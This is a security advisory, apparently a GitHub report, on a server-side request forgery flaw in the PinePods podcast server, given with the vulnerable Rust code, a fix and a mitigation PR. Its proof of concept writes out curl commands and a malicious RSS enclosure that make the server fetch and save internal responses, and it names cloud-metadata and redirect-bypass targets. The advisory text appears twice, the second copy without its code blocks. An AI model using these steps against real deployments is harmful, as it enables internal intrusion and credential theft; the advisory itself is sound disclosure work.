Summary
PinePods fetches the audio/video enclosure URL of podcast episodes server-side, with no validation of the destination host or IP. The enclosure URL is fully attacker-controlled: any authenticated user can subscribe to an arbitrary RSS feed via POST /api/data/add_podcast, and the <enclosure url="..."> value from that feed is parsed by feed-rs and stored verbatim in the Episodes.episodeurl column. When that episode is later fetched server-side, PinePods issues a plain reqwest request to the stored URL.
This is a classic Server-Side Request Forgery (CWE-918). An attacker controls the full URL, so the request can target:
- loopback / the PinePods API itself (
http://127.0.0.1:8040/...),
- RFC1918 internal hosts that are reachable only from the server (databases, admin panels, other containers),
- cloud instance metadata endpoints (
http://169.254.169.254/latest/meta-data/..., GCP/Azure equivalents).
Impact is amplified because the response body is saved to disk and recorded (DownloadedEpisodes), turning blind SSRF into a read-back / exfiltration primitive: the attacker can subscribe, trigger the fetch, then retrieve the internal response as the downloaded "episode" file. The reqwest client follows redirects by default, so a http://attacker/x enclosure that 302-redirects to http://169.254.169.254/... reaches internal targets even if a naive host check were applied only to the initial URL.
There is no SSRF guard anywhere in the codebase — a search for is_private, is_loopback, 169.254, ssrf across rust-api/src returns zero hits.
Impact
A low-privilege authenticated user can make the PinePods server issue arbitrary GET/HEAD requests to hosts of the attacker's choosing on the server's internal network, and read the responses back (saved as the downloaded "episode" file and recorded in DownloadedEpisodes). This enables internal-service enumeration/access, cloud instance-metadata credential theft (169.254.169.254), and reaching services bound to loopback that are otherwise unreachable from outside the host.
Reachability / How input reaches sink
Attacker subscribes to a feed: POST /api/data/add_podcast (handlers/podcasts.rs:268) → get_podcast_values/add_episodes parse the feed via feed-rs and store the <enclosure url> verbatim into Episodes.episodeurl (database.rs:6267-6271, database.rs:5468+). Attacker triggers the fetch: POST /api/data/download_podcast (handlers/podcasts.rs:988) → spawn_download_podcast_episode → download_episode_and_wait (services/tasks.rs:12) reads episodeurl and passes it directly to reqwest::Client::get (services/tasks.rs:100). The duration-estimation path (database.rs:6901) reaches the same untrusted URL during add/refresh.
Severity: Medium. The fetch is gated on a low-privilege authenticated session (self-service signup is supported), and on download_podcast server-downloads being enabled (enabled by default). CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L ≈ 7.6 (scope change because the request crosses the server's trust boundary into the internal network).
Vulnerable code (file:line)
Primary sink — rust-api/src/services/tasks.rs:100-106, inside download_episode_and_wait() (reached from POST /api/data/download_podcast → spawn_download_podcast_episode). episode_url here is e.episodeurl read from the DB, which is the RSS <enclosure url> value:
// Download the file
let client = reqwest::Client::new();
let mut response = client.get(&episode_url)
.header("Accept", "*/*")
.header("User-Agent", "PinePods/1.0")
.send()
.await
.map_err(|e| crate::error::AppError::Internal(format!("Failed to start download: {}", e)))?;
The response is then written to disk (rust-api/src/services/tasks.rs:112-119), turning blind SSRF into a read-back primitive:
let mut file = std::fs::File::create(&file_path)
.map_err(|e| crate::error::AppError::Internal(format!("Failed to create file: {}", e)))?;
// Download the content
while let Some(chunk) = response.chunk().await.map_err(|e| crate::error::AppError::Internal(format!("Download failed: {}", e)))? {
std::io::Write::write_all(&mut file, &chunk)
.map_err(|e| crate::error::AppError::Internal(format!("Failed to write file: {}", e)))?;
}
Source / trust boundary — the URL is the RSS enclosure, taken verbatim with no validation, in rust-api/src/database.rs:6267-6271:
// Links for audio/video enclosures
for link in &entry.links {
if let Some(media_type) = &link.media_type {
if media_type.starts_with("audio/") || media_type.starts_with("video/") {
episode_data.insert("enclosure_url".to_string(), link.href.clone()); // stored as-is
enclosure_url is then persisted to Episodes.episodeurl by add_episodes() (rust-api/src/database.rs:5468+), driven by POST /api/data/add_podcast (rust-api/src/handlers/podcasts.rs:268).
Second affected sink (same root cause, same untrusted URL) — rust-api/src/database.rs:6901-6918, estimate_duration_from_audio_url_async(), which issues a server-side reqwest HEAD to the enclosure URL during feed add/refresh, again with no host validation:
async fn estimate_duration_from_audio_url_async(&self, audio_url: &str) -> Option<i32> {
let client = reqwest::Client::builder()....build()?;
match client.head(audio_url).send().await { // <-- SSRF HEAD, no validation
Proof of concept (End-to-end reproduction against the latest image)
End-to-end against a real, default Docker deployment of the current image (madeofpendletonwool/pinepods:latest, Rust API + PostgreSQL 17 + Valkey), using the official deployment/docker/compose-files/docker-compose-postgres/docker-compose.yml. The internal SSRF target (ssrf-sentinel) is a container on the app's Docker network with no published host port — the attacker on the host cannot reach it directly, only the PinePods server can. This models an internal-only service / metadata endpoint.
Steps (each command is reproducible; only the actual auth values differ per deploy):
# 0. internal-only target the attacker cannot reach, but the server can.
# Serves a "secret" body and logs every request it receives.
docker run -d --name ssrf-sentinel --network <app_net> python:3.12-slim \
python3 -c 'import http.server,datetime
class H(http.server.BaseHTTPRequestHandler):
def do_GET(s):
print(f"{datetime.datetime.utcnow().isoformat()}Z SSRF-HIT {s.command} {s.path} from={s.client_address[0]}",flush=True)
b=b"INTERNAL-SECRET-TOKEN-AKIA-PINEPODS-SSRF-PROOF\n"
s.send_response(200);s.send_header("Content-Type","audio/mpeg");s.send_header("Content-Length",str(len(b)));s.end_headers();s.wfile.write(b)
def log_message(s,*a):pass
http.server.HTTPServer(("0.0.0.0",80),H).serve_forever()'
# 1. attacker-hosted RSS feed; the enclosure points at the internal-only target.
# feed served at http://<feed_host>/malicious.xml :
# <item>...<enclosure url="http://ssrf-sentinel/internal-secret-from-rss-enclosure"
# length="46" type="audio/mpeg"/></item>
# 2. low-priv authenticated user adds the feed (Api-Key auth).
curl -s -X POST http://127.0.0.1:8040/api/data/add_podcast \
-H "Api-Key: $KEY" -H 'Content-Type: application/json' \
-d '{"podcast_values":{"pod_title":"SSRF PoC Feed","pod_artwork":"","pod_author":"x",
"categories":{},"pod_description":"p","pod_episode_count":1,
"pod_feed_url":"http://<feed_host>/malicious.xml","pod_website":"http://e.invalid/",
"pod_explicit":false,"user_id":2}}'
# -> {"success":true,"podcast_id":2,"first_episode_id":0}
# 3. enclosure URL is now stored verbatim as the episode URL:
# SELECT episodeurl FROM "Episodes" WHERE podcastid=2;
# -> http://ssrf-sentinel/internal-secret-from-rss-enclosure
# 4. trigger the server-side fetch.
curl -s -X POST http://127.0.0.1:8040/api/data/download_podcast \
-H "Api-Key: $KEY" -H 'Content-Type: application/json' \
-d '{"episode_id":2,"user_id":2,"is_youtube":false}'
# -> {"detail":"Podcast episode download has been queued ...","task_id":"acc8fc05-..."}
Verbatim captured output proving the SSRF:
# PinePods server container IP = 172.26.0.4
# ssrf-sentinel request log (the server fetched the internal-only target):
2026-06-02T00:48:04.272431Z SSRF-HIT GET /internal-secret-from-rss-enclosure from=172.26.0.4
# server log line for the same fetch:
INFO pinepods_api::services::tasks: Downloading podcast episode 2 for user 2
# the internal response body was SAVED to disk as the "episode" (read-back exfil):
$ cat "/opt/pinepods/downloads/SSRF PoC Feed/2026-06-02_SSRF Episode One_2_2.mp3"
ID3....TIT2 SSRF Episode One TPE1 ... TCON Podcast INTERNAL-SECRET-TOKEN-AKIA-PINEPODS-SSRF-PROOF
# DB record of the fetched bytes:
episodeid | downloadedsize | downloadedlocation
-----------+----------------+----------------------------------------------------------
2 | 47 | /opt/pinepods/downloads/SSRF PoC Feed/2026-06-02_..._2_2.mp3
Negative control / loopback confirmation — a second feed whose enclosure is http://127.0.0.1:8040/api/pinepods_check (the server's own internal API). The server fetched its own loopback and saved the JSON response, proving there is no loopback/private-IP rejection:
# server log:
Attempting to estimate duration from audio URL: http://127.0.0.1:8040/api/pinepods_check
INFO pinepods_api::services::tasks: Downloading podcast episode 3 for user 2
# saved file (server fetched its own 127.0.0.1:8040 API):
$ cat "/opt/pinepods/downloads/LB/2026-06-02_LB Ep_2_3.mp3"
ID3...TCON Podcast {"status_code":200,"pinepods_instance":true}
Attacker isolation, confirming the target is internal-only (the attacker on the host cannot reach ssrf-sentinel directly — only the server can):
$ curl -s -m 3 -o /dev/null -w 'host->172.26.0.5 http_code=%{http_code}\n' http://172.26.0.5/
host->172.26.0.5 http_code=000 # curl exit 28 (timeout) — host has no route to it
Suggested fix
Add a destination-host SSRF guard that runs before every server-side fetch of an enclosure / audio URL, and re-runs on every redirect hop. Mirror the approach used by other podcast managers (e.g. Koel's Network::isSafeUrl() + on_redirect):
- Restrict the URL scheme to
http/https only (reject file:, gopher:, etc.).
- Resolve the host to its IP(s) and reject any that are loopback, link-local (incl.
169.254.0.0/16 and fe80::/10), private/RFC1918, unique-local (fc00::/7), unspecified, or otherwise reserved — including IPv4-mapped IPv6 (::ffff:a.b.c.d) and NAT64 (64:ff9b::/96) forms after unwrapping.
- Disable automatic redirect following (
reqwest::redirect::Policy::none()), or install a custom redirect policy that re-validates each hop's resolved IP with the same checks (prevents redirect-to-internal bypass and TOCTOU between validation and connect).
- Apply the check at both sinks:
download_episode_and_wait (tasks.rs:100) and estimate_duration_from_audio_url_async (database.rs:6901).
A central helper fn is_safe_public_url(url: &str) -> bool called at each sink keeps the policy consistent.
Fix PR
A patch implementing the guard above is provided as a pull request from a temporary private fork created under this advisory's workspace (GitHub does not allow attaching a public fork PR while the advisory is under embargo). The PR adds a shared services::url_guard::is_safe_public_url() helper (scheme allowlist + resolve-and-reject private/loopback/link-local/reserved including IPv4-mapped and NAT64 unwrap), wires it in before the reqwest call in download_episode_and_wait (tasks.rs:100) and before the HEAD in estimate_duration_from_audio_url_async (database.rs:6901), and disables default redirect following in favor of a re-validating redirect policy. The maintainer can merge it after review or use it as a reference.
Credit
Reported by tonghuaroot.
Summary
PinePods fetches the audio/video enclosure URL of podcast episodes server-side, with no validation of the destination host or IP. The enclosure URL is fully attacker-controlled: any authenticated user can subscribe to an arbitrary RSS feed via
POST /api/data/add_podcast, and the<enclosure url="...">value from that feed is parsed byfeed-rsand stored verbatim in theEpisodes.episodeurlcolumn. When that episode is later fetched server-side, PinePods issues a plainreqwestrequest to the stored URL.This is a classic Server-Side Request Forgery (CWE-918). An attacker controls the full URL, so the request can target:
http://127.0.0.1:8040/...),http://169.254.169.254/latest/meta-data/..., GCP/Azure equivalents).Impact is amplified because the response body is saved to disk and recorded (
DownloadedEpisodes), turning blind SSRF into a read-back / exfiltration primitive: the attacker can subscribe, trigger the fetch, then retrieve the internal response as the downloaded "episode" file. Thereqwestclient follows redirects by default, so ahttp://attacker/xenclosure that 302-redirects tohttp://169.254.169.254/...reaches internal targets even if a naive host check were applied only to the initial URL.There is no SSRF guard anywhere in the codebase — a search for
is_private,is_loopback,169.254,ssrfacrossrust-api/srcreturns zero hits.Impact
A low-privilege authenticated user can make the PinePods server issue arbitrary GET/HEAD requests to hosts of the attacker's choosing on the server's internal network, and read the responses back (saved as the downloaded "episode" file and recorded in
DownloadedEpisodes). This enables internal-service enumeration/access, cloud instance-metadata credential theft (169.254.169.254), and reaching services bound to loopback that are otherwise unreachable from outside the host.Reachability / How input reaches sink
Attacker subscribes to a feed:
POST /api/data/add_podcast(handlers/podcasts.rs:268) →get_podcast_values/add_episodesparse the feed viafeed-rsand store the<enclosure url>verbatim intoEpisodes.episodeurl(database.rs:6267-6271,database.rs:5468+). Attacker triggers the fetch:POST /api/data/download_podcast(handlers/podcasts.rs:988) →spawn_download_podcast_episode→download_episode_and_wait(services/tasks.rs:12) readsepisodeurland passes it directly toreqwest::Client::get(services/tasks.rs:100). The duration-estimation path (database.rs:6901) reaches the same untrusted URL during add/refresh.Severity: Medium. The fetch is gated on a low-privilege authenticated session (self-service signup is supported), and on
download_podcastserver-downloads being enabled (enabled by default). CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L ≈ 7.6 (scope change because the request crosses the server's trust boundary into the internal network).Vulnerable code (file:line)
Primary sink —
rust-api/src/services/tasks.rs:100-106, insidedownload_episode_and_wait()(reached fromPOST /api/data/download_podcast→spawn_download_podcast_episode).episode_urlhere ise.episodeurlread from the DB, which is the RSS<enclosure url>value:The response is then written to disk (
rust-api/src/services/tasks.rs:112-119), turning blind SSRF into a read-back primitive:Source / trust boundary — the URL is the RSS enclosure, taken verbatim with no validation, in
rust-api/src/database.rs:6267-6271:enclosure_urlis then persisted toEpisodes.episodeurlbyadd_episodes()(rust-api/src/database.rs:5468+), driven byPOST /api/data/add_podcast(rust-api/src/handlers/podcasts.rs:268).Second affected sink (same root cause, same untrusted URL) —
rust-api/src/database.rs:6901-6918,estimate_duration_from_audio_url_async(), which issues a server-sidereqwestHEAD to the enclosure URL during feed add/refresh, again with no host validation:Proof of concept (End-to-end reproduction against the latest image)
End-to-end against a real, default Docker deployment of the current image (
madeofpendletonwool/pinepods:latest, Rust API + PostgreSQL 17 + Valkey), using the officialdeployment/docker/compose-files/docker-compose-postgres/docker-compose.yml. The internal SSRF target (ssrf-sentinel) is a container on the app's Docker network with no published host port — the attacker on the host cannot reach it directly, only the PinePods server can. This models an internal-only service / metadata endpoint.Steps (each command is reproducible; only the actual auth values differ per deploy):
Verbatim captured output proving the SSRF:
Negative control / loopback confirmation — a second feed whose enclosure is
http://127.0.0.1:8040/api/pinepods_check(the server's own internal API). The server fetched its own loopback and saved the JSON response, proving there is no loopback/private-IP rejection:Attacker isolation, confirming the target is internal-only (the attacker on the host cannot reach
ssrf-sentineldirectly — only the server can):Suggested fix
Add a destination-host SSRF guard that runs before every server-side fetch of an enclosure / audio URL, and re-runs on every redirect hop. Mirror the approach used by other podcast managers (e.g. Koel's
Network::isSafeUrl()+on_redirect):http/httpsonly (rejectfile:,gopher:, etc.).169.254.0.0/16andfe80::/10), private/RFC1918, unique-local (fc00::/7), unspecified, or otherwise reserved — including IPv4-mapped IPv6 (::ffff:a.b.c.d) and NAT64 (64:ff9b::/96) forms after unwrapping.reqwest::redirect::Policy::none()), or install a custom redirect policy that re-validates each hop's resolved IP with the same checks (prevents redirect-to-internal bypass and TOCTOU between validation and connect).download_episode_and_wait(tasks.rs:100) andestimate_duration_from_audio_url_async(database.rs:6901).A central helper
fn is_safe_public_url(url: &str) -> boolcalled at each sink keeps the policy consistent.Fix PR
A patch implementing the guard above is provided as a pull request from a temporary private fork created under this advisory's workspace (GitHub does not allow attaching a public fork PR while the advisory is under embargo). The PR adds a shared
services::url_guard::is_safe_public_url()helper (scheme allowlist + resolve-and-reject private/loopback/link-local/reserved including IPv4-mapped and NAT64 unwrap), wires it in before thereqwestcall indownload_episode_and_wait(tasks.rs:100) and before the HEAD inestimate_duration_from_audio_url_async(database.rs:6901), and disables default redirect following in favor of a re-validating redirect policy. The maintainer can merge it after review or use it as a reference.Credit
Reported by tonghuaroot.